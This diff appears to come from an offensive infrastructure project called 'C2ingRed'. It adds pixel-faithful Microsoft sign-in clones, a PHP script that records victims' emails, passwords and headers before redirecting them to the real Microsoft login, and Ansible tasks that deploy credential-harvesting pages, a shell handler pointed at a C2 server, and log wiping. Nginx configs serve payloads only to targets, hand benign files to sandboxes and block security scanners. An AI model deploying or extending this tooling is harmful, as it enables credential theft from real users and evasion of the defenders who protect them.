<a>Your Ads Privacy Choices</a>
</div>
<div class="copyright">
© 1996-2023, Amazon.com, Inc. or its affiliates
</div>
</div>
</footer>
</body>
</html>
@@ -0,0 +1,269 @@
* {
margin: 0;
font-family: Arial;
border: border-box;
}
.navbar {
height: 60px;
background-color: #0F1111;
color: white;
display: flex;
align-items: center;
justify-content: space-evenly;
}
.nav-logo {
height: 50px;
width: 110px;
}
.logo {
background-image: url("amazon_logo.png");
background-size: cover;
height: 50px;
width: 100%;
}
.border {
border: 1.5px solid transparent;
}
.border:hover {
border: 1.5px solid white;
}
/* box2 */
.add-first {
color: #CCCCCC;
font-size: 0.85rem;
margin-left: 13px;
}
.add-second {
font-size: 1rem;
margin-left: 1.5px;
}
.add-icon {
display: flex;
align-items: center;
}
/* box3 */
.nav-search {
display: flex;
justify-content: space-evenly;
background-color: pink;
width: 600px;
height: 40px;
border-radius: 4px;
}
.search-select {
background-color: #f3f3f3;
width: 50px;
text-align: center;
border-top-left-radius: 4px;
border-bottom-left-radius: 4px;
border: none;
}
.search-input {
width: 100%;
font-size: 1rem;
border: none;
}
.search-icon {
width: 45px;
display: flex;
justify-content: center;
align-items: center;
font-size: 1.2rem;
background-color: #febd68;
border-top-right-radius: 4px;
border-bottom-right-radius: 4px;
color: #0F1111;
}
/* box4 */
span {
font-size: 0.7rem;
}
.nav-second {
font-size: 0.85rem;
font-weight: 700;
}
/* box6 */
.nav-cart i {
font-size: 28px;
}
.nav-cart {
font-size: 0.85rem;
font-weight: 700;
}
/* panel */
.panel {
height: 40px;
background-color: #222f3d;
display: flex;
color: white;
align-items: center;
justify-content: space-evenly;
}
.panel-all:hover {
border: 1.5px solid white;
}
.panel-options p {
display: inline;
margin-left: 10px;
}
.panel-options {
width: 85%;
font-size: 0.85rem;
}
.panel-options p:hover {
border: 1.5px solid white;
}
/* hero section */
.hero-section {
background-image: url("hero1_image.jpg");
background-size: cover;
height: 350px;
display: flex;
justify-content: center;
align-items: flex-end;
}
.hero-msg {
background-color: white;
color: black;
height: 40px;
display: flex;
align-items: center;
justify-content: center;
font-size: 0.85rem;
width: 80%;
margin-bottom: 25px;
}
.hero-msg a {
color: #007185;
}
/* shop-section */
.shop-section {
display: flex;
flex-wrap: wrap;
justify-content: space-evenly;
background-color: hsl(318, 65%, 90%);
}
.box {
/*border: 2px solid black;*/
border-radius: 5px;
height: 400px;
width: 23%;
background-color: white;
padding: 20px 0px 15px;
margin-top: 15px;
}
.box-img {
height: 300px;
background-size: cover;
margin-top: 1rem;
margin-bottom: 1rem;
}
.box-content {
margin-left: 1rem;
margin-right: 1rem;
}
.box-content p {
color: #007185;
}
.box-content p:hover {
color: #febd68;
}
/* footer */
footer {
margin-top: 15px;
}
.foot-panel1 {
background-color: #37475a;
color: white;
height: 50px;
display: flex;
justify-content: center;
align-items: center;
font-size: 0.85rem;
}
.foot-panel2 {
background-color: #222f3d;
color: white;
height: 500px;
display: flex;
justify-content: space-evenly;
}
.foot-panel2 a:hover {
text-decoration: underline;
}
ul {
margin-top: 20px;
}
ul a {
display: block;
font-size: 0.85rem;
margin-top: 10px;
color: #dddddd;
}
.foot-panel3 {
background-color: #222f3d;
color: white;
border-top: 0.5px solid white;
height: 70px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
background-image: url("amazon_logo.png");
background-size: cover;
height: 50px;
width: 100px;
}
.foot-panel4 {
background-color: #0F1111;
color: white;
height: 80px;
text-align: center;
font-size: 0.7rem;
}
.policies {
padding-top: 25px;
}
.copyright {
padding-top: 5px;
}
@@ -0,0 +1,106 @@
<!DOCTYPE html>
<html>
<head>
<title>Sign in to your account</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #f0f0f0, #e0e0e0);
margin: 0;
padding: 0;
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
}
.login-container {
background: white;
width: 380px;
padding: 30px 40px;
box-shadow: 0 2px 6px rgba(0,0,0,0.1);
}
.logo {
text-align: left;
margin-bottom: 20px;
}
h1 {
font-size: 24px;
font-weight: 600;
margin: 20px 0 15px;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 8px 0;
margin-bottom: 15px;
border: none;
border-bottom: 1px solid #ccc;
font-size: 15px;
outline: none;
}
input:focus {
border-bottom: 1px solid #0067b8;
}
.button-container {
text-align: right;
margin-top: 20px;
}
button {
background-color: #0067b8;
color: white;
border: none;
padding: 8px 24px;
font-size: 14px;
cursor: pointer;
}
.links {
margin-top: 20px;
font-size: 13px;
}
.links a {
color: #0067b8;
text-decoration: none;
}
.footer {
position: fixed;
bottom: 0;
width: 100%;
display: flex;
justify-content: space-between;
padding: 10px 20px;
font-size: 12px;
color: #666;
}
.footer a {
color: #666;
text-decoration: none;
margin-left: 20px;
}
</style>
</head>
<body>
<div class="login-container">
<div class="logo">
<img src="https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31" alt="Microsoft" width="108">
</div>
<h1>Sign in</h1>
<form action="process.php" method="post">
<input type="text" name="email" placeholder="Email, phone, or Skype" required>
<input type="password" name="password" placeholder="Password" required>
<div class="links">
<a href="https://signup.live.com/signup">No account? Create one!</a><br>
<a href="https://account.live.com/password/reset">Can't access your account?</a>
</div>
<div class="button-container">
<button type="submit">Next</button>
</div>
</form>
</div>
<div class="footer">
<div class="terms">
<a href="https://www.microsoft.com/en-us/servicesagreement/default.aspx">Terms of use</a>
<a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
</div>
</div>
</body>
</html>
@@ -0,0 +1,220 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{{ page_title | default('Sign in to your account') }}</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: #f2f2f2;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}
.container {
background: white;
padding: 40px;
border-radius: 2px;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
width: 440px;
max-width: 90%;
}
.logo {
text-align: left;
margin-bottom: 24px;
}
.logo img {
height: 24px;
}
h1 {
font-size: 24px;
font-weight: 600;
margin-bottom: 16px;
color: #1a1a1a;
}
.form-group {
margin-bottom: 16px;
}
input[type="email"],
input[type="password"],
input[type="text"] {
width: 100%;
padding: 10px 12px;
border: 1px solid #605e5c;
border-radius: 2px;
font-size: 15px;
transition: border-color 0.2s;
}
input[type="email"]:focus,
input[type="password"]:focus,
input[type="text"]:focus {
outline: none;
border-color: #0078d4;
}
.forgot-password {
display: block;
margin: 8px 0 16px;
color: #0078d4;
text-decoration: none;
font-size: 13px;
}
.forgot-password:hover {
text-decoration: underline;
}
.btn-primary {
width: 100%;
padding: 12px;
background: #0078d4;
color: white;
border: none;
border-radius: 2px;
font-size: 16px;
cursor: pointer;
transition: background 0.2s;
}
.btn-primary:hover {
background: #106ebe;
}
.error-message {
color: #d13438;
font-size: 13px;
margin-top: 8px;
display: none;
}
.loading {
display: none;
text-align: center;
margin-top: 20px;
}
.spinner {
border: 2px solid #f3f3f3;
border-top: 2px solid #0078d4;
border-radius: 50%;
width: 20px;
height: 20px;
animation: spin 1s linear infinite;
display: inline-block;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.footer {
margin-top: 40px;
font-size: 12px;
color: #605e5c;
text-align: center;
}
.footer a {
color: #605e5c;
text-decoration: none;
}
.footer a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<img src="{{ logo_url | default('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDgiIGhlaWdodD0iMjQiPjx0ZXh0IHg9IjAiIHk9IjIwIiBmb250LWZhbWlseT0iU2Vnb2UgVUkiIGZvbnQtc2l6ZT0iMjAiIGZpbGw9IiM1YzJkOTEiPk1pY3Jvc29mdDwvdGV4dD48L3N2Zz4=') }}" alt="Logo">
</div>
<h1>{{ heading | default('Sign in') }}</h1>
<form id="loginForm" method="POST" action="/capture.php">
<input type="hidden" name="rid" value="{{ '{{.RId}}' }}">
<input type="hidden" name="campaign" value="{{ '{{.Campaign}}' }}">
<div class="form-group">
<input type="email"
name="username"
id="username"
placeholder="{{ username_placeholder | default('Email, phone, or Skype') }}"
required>
</div>
<div class="form-group">
<input type="password"
name="password"
id="password"
placeholder="{{ password_placeholder | default('Password') }}"
required>
</div>
<a href="#" class="forgot-password">{{ forgot_text | default('Forgot password?') }}</a>
<div class="error-message" id="error">
{{ error_message | default('Invalid username or password.') }}
</div>
<button type="submit" class="btn-primary">
{{ button_text | default('Sign in') }}
</button>
<div class="loading" id="loading">
<div class="spinner"></div>
<p>{{ loading_text | default('Signing in...') }}</p>
</div>
</form>
<div class="footer">
<a href="#">{{ footer_link1 | default('Terms of use') }}</a> |
<a href="#">{{ footer_link2 | default('Privacy & cookies') }}</a>
</div>
</div>
<script>
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();
// Show loading state
document.getElementById('loading').style.display = 'block';
document.querySelector('.btn-primary').style.display = 'none';
// Submit form data
fetch(this.action, {
method: 'POST',
body: new FormData(this)
})
.then(response => {
// Redirect after a delay to simulate processing
setTimeout(() => {
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
}, 2000);
})
.catch(error => {
document.getElementById('error').style.display = 'block';
document.getElementById('loading').style.display = 'none';
document.querySelector('.btn-primary').style.display = 'block';
});
});
</script>
</body>
</html>
@@ -0,0 +1,158 @@
#!/bin/bash
# post_install_redirector.sh - Post-installation setup for redirector
# ANSI color codes
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
echo -e "${BLUE}==================================================${NC}"
echo -e "${BLUE} C2ingRed Post-Installation Setup - Redirector ${NC}"
echo -e "${BLUE}==================================================${NC}"
# Function to check if domain resolves to current IP
check_dns() {
domain=$1
current_ip=$(curl -s ifconfig.me)
resolved_ip=$(dig +short $domain)
if [ "$resolved_ip" = "$current_ip" ]; then
echo -e "${GREEN}DNS check passed for $domain!${NC}"
return 0
else
echo -e "${YELLOW}DNS check failed for $domain${NC}"
echo -e "Current IP: $current_ip"
echo -e "Resolved IP: $resolved_ip or not set"
return 1
fi
}
# Function to set up Let's Encrypt
setup_letsencrypt() {
domain=$1
email=$2
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
# Check if certificate already exists
if [ -d "/etc/letsencrypt/live/$domain" ]; then
echo -e "${YELLOW}Certificate already exists for $domain${NC}"
read -p "Do you want to renew it? (y/n): " renew
if [ "$renew" != "y" ]; then
echo -e "${YELLOW}Skipping certificate renewal${NC}"
return 0
fi
fi
# Stop nginx if running to free up port 80
systemctl stop nginx 2>/dev/null
# Get certificate
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
if [ $? -eq 0 ]; then
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
return 0
else
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
return 1
fi
}
# Function to update NGINX configuration
update_nginx_config() {
domain=$1
# Check if NGINX config exists and contains the domain
if [ -f "/etc/nginx/sites-available/default" ]; then
if grep -q "$domain" "/etc/nginx/sites-available/default"; then
echo -e "\n${BLUE}Updating NGINX configuration to use SSL certificate${NC}"
# Update SSL certificate paths
sed -i "s|ssl_certificate .*|ssl_certificate /etc/letsencrypt/live/$domain/fullchain.pem;|" /etc/nginx/sites-available/default
sed -i "s|ssl_certificate_key .*|ssl_certificate_key /etc/letsencrypt/live/$domain/privkey.pem;|" /etc/nginx/sites-available/default
echo -e "${GREEN}NGINX configuration updated${NC}"
else
echo -e "${YELLOW}Domain $domain not found in NGINX configuration${NC}"
fi
else
echo -e "${RED}NGINX configuration file not found${NC}"
fi
}
# Function to start services
start_services() {
echo -e "\n${BLUE}Starting required services${NC}"
# Start nginx
systemctl start nginx
if [ $? -eq 0 ]; then
echo -e "${GREEN}NGINX started successfully${NC}"
systemctl enable nginx
else
echo -e "${RED}Failed to start NGINX${NC}"
fi
# Start shell handler
systemctl start shell-handler
if [ $? -eq 0 ]; then
echo -e "${GREEN}Shell handler started successfully${NC}"
systemctl enable shell-handler
else
echo -e "${RED}Failed to start shell handler${NC}"
fi
}
# Function to display port information
show_port_info() {
# Display shell handler port
if [ -f "/etc/systemd/system/shell-handler.service" ]; then
SHELL_PORT=$(grep "LISTEN_PORT=" /root/Tools/shell-handler/persistent-listener.sh | cut -d'=' -f2)
echo -e "\n${BLUE}Shell Handler Port Information:${NC}"
echo -e "Shell Handler is using port: ${GREEN}$SHELL_PORT${NC}"
fi
# Display nginx listening ports
echo -e "\n${BLUE}NGINX Listening Ports:${NC}"
netstat -tulnp | grep nginx
}
# Main execution
echo -e "\n${BLUE}Beginning redirector setup process...${NC}"
# Get domain information
read -p "Enter redirector domain (e.g., cdn.example.com): " redirector_domain
read -p "Enter email for Let's Encrypt: " email
# Check if DNS is properly configured
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
check_dns $redirector_domain
# Confirm proceeding even if DNS check fails
if [ $? -ne 0 ]; then
echo -e "${YELLOW}DNS check failed but we can proceed anyway.${NC}"
echo -e "${YELLOW}Make sure to set up DNS records before trying to obtain certificates.${NC}"
read -p "Do you want to proceed anyway? (y/n): " proceed
if [ "$proceed" != "y" ]; then
echo -e "${RED}Setup aborted.${NC}"
exit 1
fi
fi
# Set up Let's Encrypt
setup_letsencrypt $redirector_domain $email
# Update NGINX configuration
update_nginx_config $redirector_domain
# Start services
start_services
# Show port information
show_port_info
echo -e "\n${GREEN}Redirector setup complete!${NC}"
echo -e "${YELLOW}Make sure DNS records are properly configured for continued operation.${NC}"
@@ -0,0 +1,457 @@
---
# Common task for configuring redirector with full encryption
# Shared across all providers
- name: Set a custom MOTD
template:
src: "../templates/motd-redirector.j2"
dest: /etc/motd
owner: root
group: root
mode: '0644'
- name: Update package cache with retries
apt:
update_cache: yes
cache_valid_time: 0
register: cache_update
until: cache_update is success
retries: 5
delay: 10
ignore_errors: no
- name: Install core packages first (high priority)
apt:
name:
- nginx
- nginx-extras
- socat
- jq
- secure-delete
state: present
update_cache: no
register: core_packages
until: core_packages is success
retries: 3
delay: 5
- name: Install network utilities with fallbacks
block:
- name: Try to install net-tools
apt:
name: net-tools
state: present
update_cache: no
register: net_tools_install
rescue:
- name: Install alternative network utilities
apt:
name:
- iproute2
- iputils-ping
- netcat-openbsd
state: present
update_cache: no
register: alt_network_tools
- name: Create net-tools compatibility aliases
copy:
dest: /usr/local/bin/netstat
content: |
#!/bin/bash
# Compatibility wrapper for netstat using ss
ss "$@"
mode: '0755'
when: alt_network_tools is success
- name: Install PHP-FPM with version handling
block:
- name: Install PHP-FPM (latest available)
apt:
name: php-fpm
state: present
update_cache: no
register: php_install
rescue:
- name: Install specific PHP version as fallback
apt:
name:
- php7.4-fpm
- php7.4-cli
state: present
update_cache: no
register: php_fallback
- name: Install certbot with dependency handling
block:
- name: Install certbot and nginx plugin
apt:
name:
- certbot
- python3-certbot-nginx
state: present
update_cache: no
register: certbot_install
rescue:
- name: Install certbot without problematic dependencies
shell: |
apt-get install -y --no-install-recommends certbot
apt-get install -y --fix-broken || true
register: certbot_manual
ignore_errors: yes
- name: Install certbot via snap as ultimate fallback
block:
- name: Install snap if not present
apt:
name: snapd
state: present
- name: Install certbot via snap
snap:
name: certbot
classic: yes
- name: Create certbot symlink
file:
src: /snap/bin/certbot
dest: /usr/bin/certbot
state: link
when: certbot_manual is failed
- name: Handle problematic Python dependencies
block:
- name: Try installing Python dependencies normally
apt:
name:
- python3-requests-toolbelt
- python3-zope.hookable
state: present
update_cache: no
register: python_deps
rescue:
- name: Install Python dependencies via pip as fallback
pip:
name:
- requests-toolbelt
- zope.hookable
state: present
register: pip_install
ignore_errors: yes
- name: Download and install packages manually if repositories are down
shell: |
cd /tmp
# Try alternative repositories
wget -q http://archive.ubuntu.com/ubuntu/pool/universe/p/python-requests-toolbelt/python3-requests-toolbelt_0.8.0-1.1_all.deb || \
wget -q http://launchpad.net/ubuntu/+archive/primary/+files/python3-requests-toolbelt_0.8.0-1.1_all.deb || true
if [ -f python3-requests-toolbelt_*.deb ]; then
dpkg -i python3-requests-toolbelt_*.deb || apt-get install -f -y
fi
when: pip_install is failed
ignore_errors: yes
- name: Verify critical packages are installed
command: "{{ item.cmd }}"
register: package_verify
failed_when: package_verify.rc != 0
loop:
- { cmd: "nginx -v", name: "nginx" }
- { cmd: "socat -V", name: "socat" }
- { cmd: "jq --version", name: "jq" }
- { cmd: "which certbot", name: "certbot" }
ignore_errors: yes
- name: Create package installation report
debug:
msg: |
C2ingRed Package Installation Status:
===================================
Core Packages: {{ 'SUCCESS' if core_packages is success else 'FAILED' }}
Network Tools: {{ 'SUCCESS' if net_tools_install is success else 'FALLBACK USED' }}
PHP-FPM: {{ 'SUCCESS' if php_install is success else 'FALLBACK USED' if php_fallback is success else 'FAILED' }}
Certbot: {{ 'SUCCESS' if certbot_install is success else 'FALLBACK USED' }}
Python Deps: {{ 'SUCCESS' if python_deps is success else 'FALLBACK ATTEMPTED' }}
Critical Services Verified:
{% for item in package_verify.results %}
- {{ item.item.name }}: {{ 'OK' if item.rc == 0 else 'MISSING' }}
{% endfor %}
- name: Force fix broken packages if any installation failed
shell: |
apt-get update --fix-missing
apt-get install -f -y
dpkg --configure -a
when: core_packages is failed or certbot_install is failed
register: fix_broken
ignore_errors: yes
- name: Final package status check and remediation
block:
- name: Check for any remaining broken packages
shell: apt-get check
register: apt_check
failed_when: false
- name: List installed packages for verification
shell: |
echo "=== INSTALLED PACKAGES ==="
dpkg -l | grep -E "(nginx|certbot|socat|jq|php)" || echo "Some packages missing"
echo "=== BROKEN PACKAGES ==="
apt-get check 2>&1 | grep -i "broken\|error" || echo "No broken packages detected"
register: final_status
- name: Display final installation status
debug:
var: final_status.stdout_lines
- name: Ensure critical services are enabled
systemd:
name: "{{ item }}"
enabled: yes
state: started
loop:
- nginx
- php7.4-fpm
ignore_errors: yes
register: service_start
- name: Create operational readiness marker
copy:
dest: /tmp/c2ingred_packages_ready
content: |
C2ingRed Package Installation Complete
Timestamp: {{ ansible_date_time.iso8601 }}
Status: {{ 'READY' if core_packages is success else 'PARTIAL' }}
mode: '0644'
- name: Create directories for operational scripts
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
with_items:
- /root/Tools
- /root/Tools/shell-handler
- name: Copy clean-logs.sh script
copy:
src: "../files/clean-logs.sh"
dest: /root/Tools/clean-logs.sh
mode: '0700'
owner: root
group: root
- name: Copy redirector post-install script
copy:
src: "../files/post_install_redirector.sh"
dest: "/root/Tools/post_install_redirector.sh"
mode: '0700'
owner: root
group: root
- name: Copy port randomization script
copy:
src: "../files/randomize_ports.sh"
dest: "/root/Tools/randomize_ports.sh"
mode: '0700'
owner: root
group: root
- name: Create redirector post-install instructions
copy:
content: |
================================================================
C2ingRed Redirector Post-Installation Instructions
================================================================
To complete your setup with SSL certificates, run:
/root/Tools/post_install_redirector.sh
This script will guide you through:
- Setting up Let's Encrypt certificates
- Starting required services
- Updating NGINX configuration
For enhanced OPSEC, you can also randomize ports:
/root/Tools/randomize_ports.sh
Run these after you've configured your DNS records to point to this server.
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
mode: '0644'
owner: root
group: root
- name: Copy shell handler script
copy:
src: "../files/havoc_shell_handler.sh"
dest: /root/Tools/shell-handler/persistent-listener.sh
mode: '0700'
owner: root
group: root
- name: Configure shell handler script with C2 IP
replace:
path: /root/Tools/shell-handler/persistent-listener.sh
regexp: 'C2_HOST="127.0.0.1"'
replace: 'C2_HOST="{{ c2_ip }}"'
- name: Configure shell handler script with listening port
template:
src: "../files/havoc_shell_handler.sh"
dest: "/root/Tools/shell_handler.sh"
mode: 0755
vars:
listen_port: "{{ shell_handler_port | default(8083) }}"
- name: Create shell handler service
template:
src: "../templates/shell-handler.service.j2"
dest: /etc/systemd/system/shell-handler.service
mode: '0644'
owner: root
group: root
- name: Configure NGINX for zero-logging if enabled
template:
src: "../templates/nginx.conf.j2"
dest: /etc/nginx/nginx.conf
mode: '0644'
owner: root
group: root
when: zero_logs | bool
- name: Create payload directory
file:
path: /var/www/resources
state: directory
mode: '0755'
owner: www-data
group: www-data
- name: Include traffic flow configuration
include_tasks: "../tasks/traffic_flow_config.yml"
# Run port randomization if enabled
- name: Run port randomization if enabled
include_tasks: port_randomization.yml
when: randomize_ports | default(true) | bool
# Add just before configuring NGINX
- name: Check if snakeoil certificates exist
stat:
path: /etc/ssl/certs/ssl-cert-snakeoil.pem
register: snakeoil_cert
- name: Generate self-signed certificates if snakeoil not available
block:
- name: Create directory for self-signed certificates
file:
path: /etc/nginx/conf.d
state: directory
mode: '0755'
- name: Generate self-signed certificate
shell: |
openssl req -x509 -nodes -days 3650 -newkey rsa:2048 \
-keyout /etc/nginx/conf.d/selfsigned.key \
-out /etc/nginx/conf.d/selfsigned.crt \
-subj "/C=US/ST=State/L=City/O=Organization/CN=localhost"
args:
creates: /etc/nginx/conf.d/selfsigned.crt
when: not snakeoil_cert.stat.exists
# Configure nginx for dual HTTP/HTTPS with complete encryption
- name: Configure NGINX for secure C2 redirection
template:
src: "../templates/redirector-site.conf.j2"
dest: /etc/nginx/sites-available/default
mode: '0644'
owner: root
group: root
- name: Create legitimate-looking index.html
template:
src: "../templates/redirector-index.html.j2"
dest: /var/www/html/index.html
mode: '0644'
owner: www-data
group: www-data
- name: Create SSL certificate setup instructions
template:
src: "../templates/setup-cert.sh.j2"
dest: /root/Tools/setup-cert.sh
mode: '0700'
owner: root
group: root
- name: Configure NGINX stream module for TCP traffic
template:
src: "../templates/stream.conf.j2"
dest: /etc/nginx/modules-enabled/stream.conf
mode: '0644'
owner: root
group: root
- name: Create credential harvesting directory
file:
path: /var/www/login
state: directory
mode: '0755'
owner: www-data
group: www-data
# Create secure storage outside web root
- name: Create secure credential storage
file:
path: /var/private/creds
state: directory
mode: '0700' # Only owner access
owner: www-data
group: www-data
- name: Deploy credential harvesting page
template:
src: "../templates/fake-login.html.j2"
dest: "/var/www/login/auth.html"
mode: '0644'
owner: www-data
group: www-data
- name: Deploy credential capture script
template:
src: "../templates/capture.php.j2"
dest: "/var/www/login/process.php"
mode: '0644'
owner: www-data
group: www-data
- name: Install PHP for credential processing
apt:
name: php-fpm
state: present
update_cache: yes
- name: Start and enable shell handler service
systemd:
name: shell-handler
state: started
enabled: yes
daemon_reload: yes
- name: Set up cron job for log cleaning if zero-logs enabled
cron:
name: "Clean logs"
minute: "0"
hour: "*/6"
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
when: zero_logs | bool
@@ -0,0 +1,27 @@
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$data = [
'timestamp' => date('Y-m-d H:i:s'),
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'email' => $_POST['email'] ?? '',
'password' => $_POST['password'] ?? '',
'headers' => getallheaders()
];
$log_file = '/var/private/creds/creds.enc';
$encrypted = openssl_encrypt(
json_encode($data),
'AES-256-CBC',
'{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}',
0,
str_repeat("\0", 16)
);
file_put_contents($log_file, $encrypted . "\n", FILE_APPEND);
header('Location: https://login.microsoftonline.com/common/oauth2/);
exit;
}
?>
@@ -0,0 +1,157 @@
---
# Configure phishing redirector with advanced evasion techniques
- name: Install packages for phishing redirector
apt:
name:
- nginx
- nginx-extras
- certbot
- python3-certbot-nginx
- socat
- netcat-openbsd
- jq
- curl
- geoip-database
- libgeoip1
- php-fpm
- php-geoip
state: present
- name: Configure advanced nginx for phishing redirector
template:
src: "../templates/phishing/nginx-phishing-redirector.j2"
dest: /etc/nginx/sites-available/phishing-redirector
mode: '0644'
notify: restart nginx
- name: Enable phishing redirector site
file:
src: /etc/nginx/sites-available/phishing-redirector
dest: /etc/nginx/sites-enabled/phishing-redirector
state: link
notify: restart nginx
- name: Remove default nginx site
file:
path: /etc/nginx/sites-enabled/default
state: absent
notify: restart nginx
- name: Create legitimate website content
template:
src: "../templates/phishing/legitimate-website.html.j2"
dest: /var/www/html/index.html
mode: '0644'
- name: Create robots.txt for SEO legitimacy
copy:
dest: /var/www/html/robots.txt
content: |
User-agent: *
Allow: /
Sitemap: https://{{ phishing_subdomain }}.{{ phishing_domain }}/sitemap.xml
- name: Create sitemap for legitimacy
template:
src: "../templates/phishing/sitemap.xml.j2"
dest: /var/www/html/sitemap.xml
mode: '0644'
- name: Install MaxMind GeoIP for location-based filtering
get_url:
url: "https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-Country&license_key={{ maxmind_license_key | default('') }}&suffix=tar.gz"
dest: /tmp/geoip.tar.gz
when: maxmind_license_key is defined
ignore_errors: yes
- name: Create security research filtering script
template:
src: "../templates/phishing/security-filter.lua.j2"
dest: /etc/nginx/security-filter.lua
mode: '0644'
- name: Configure nginx stream module for advanced traffic analysis
template:
src: "../templates/phishing/stream-analysis.conf.j2"
dest: /etc/nginx/modules-enabled/stream-analysis.conf
mode: '0644'
- name: Create phishing campaign analytics
template:
src: "../templates/phishing/analytics.js.j2"
dest: /var/www/html/analytics.js
mode: '0644'
- name: Set up legitimate SSL certificate
shell: |
certbot --nginx -d {{ phishing_subdomain }}.{{ phishing_domain }} \
--non-interactive --agree-tos -m {{ letsencrypt_email }}
args:
creates: /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ phishing_domain }}/fullchain.pem
ignore_errors: yes
- name: Create fail2ban configuration for suspicious activity
copy:
dest: /etc/fail2ban/jail.d/phishing-protection.conf
content: |
[phishing-scanner-protection]
enabled = true
port = 80,443
filter = phishing-scanner
logpath = /var/log/nginx/access.log
maxretry = 3
bantime = 3600
findtime = 300
- name: Create fail2ban filter for security tools
copy:
dest: /etc/fail2ban/filter.d/phishing-scanner.conf
content: |
[Definition]
failregex = ^<HOST>.*"(GET|POST).*(nmap|nikto|sqlmap|burp|w3af|nessus|openvas).*"
^<HOST>.*".*User-Agent.*(scanner|bot|crawl|security|test).*"
^<HOST>.*"(GET|POST).*\.(php|asp|jsp)\?.*"
ignoreregex =
- name: Start and enable fail2ban
systemd:
name: fail2ban
state: started
enabled: yes
- name: Create traffic monitoring script
template:
src: "../templates/phishing/traffic-monitor.sh.j2"
dest: /root/Tools/traffic-monitor.sh
mode: '0755'
- name: Set up traffic monitoring cron
cron:
name: "Monitor phishing traffic"
minute: "*/5"
job: "/root/Tools/traffic-monitor.sh >> /var/log/phishing-traffic.log 2>&1"
- name: Configure rate limiting for suspicious patterns
blockinfile:
path: /etc/nginx/nginx.conf
insertbefore: "http {"
block: |
# Rate limiting zones
limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s;
limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;
# GeoIP configuration
geoip_country /usr/share/GeoIP/GeoIP.dat;
map $geoip_country_code $allowed_country {
default 1;
CN 0;
RU 0;
KP 0;
}
handlers:
- name: restart nginx
service:
name: nginx
state: restarted
@@ -0,0 +1,82 @@
# Payload Redirector Configuration
# Serves payloads with anti-analysis features
server {
listen 80;
listen [::]:80;
server_name {{ payload_subdomain }}.{{ domain }};
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name {{ payload_subdomain }}.{{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
root /var/www/payloads;
# Anti-analysis headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Download-Options "noopen" always;
add_header X-Robots-Tag "noindex, nofollow" always;
# Serve different content based on user agent
location ~ ^/download/(.+)$ {
# Check if request is from analysis environment
if ($http_user_agent ~* (sandbox|virus|malware|analysis)) {
# Serve benign file
rewrite ^/download/(.+)$ /benign/document.pdf last;
}
# Check for valid download token
secure_link $arg_token,$arg_expires;
secure_link_md5 "$secure_link_expires$uri {{ payload_secret }}";
if ($secure_link = "") {
return 403;
}
if ($secure_link = "0") {
return 410;
}
# Serve actual payload
try_files /payloads/$1 =404;
}
# Direct file access with referrer check
location /files/ {
valid_referers none blocked server_names
*.{{ domain }}
{{ allowed_referrers | default([]) | join(' ') }};
if ($invalid_referer) {
return 403;
}
alias /var/www/payloads/;
autoindex off;
}
# Benign files for analysis environments
location /benign/ {
alias /var/www/payloads/benign/;
autoindex off;
}
# Block all other access
location / {
return 404;
}
{% if zero_logs | default(true) %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
@@ -0,0 +1,104 @@
# Phishing Redirector Configuration
# Advanced evasion and filtering
# Security tool detection
map $http_user_agent $is_security_scanner {
default 0;
~*(bot|crawl|spider|scraper|monitor|virustotal|urlvoid|hybrid-analysis|joesandbox|scanurl|urlscan|phishtank) 1;
}
# Geo-filtering map
map $geoip_country_code $allowed_country {
default 1;
{% for country in blocked_countries | default([]) %}
{{ country }} 0;
{% endfor %}
}
server {
listen 80;
listen [::]:80;
server_name {{ phishing_subdomain }}.{{ domain }};
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name {{ phishing_subdomain }}.{{ domain }};
# SSL Configuration
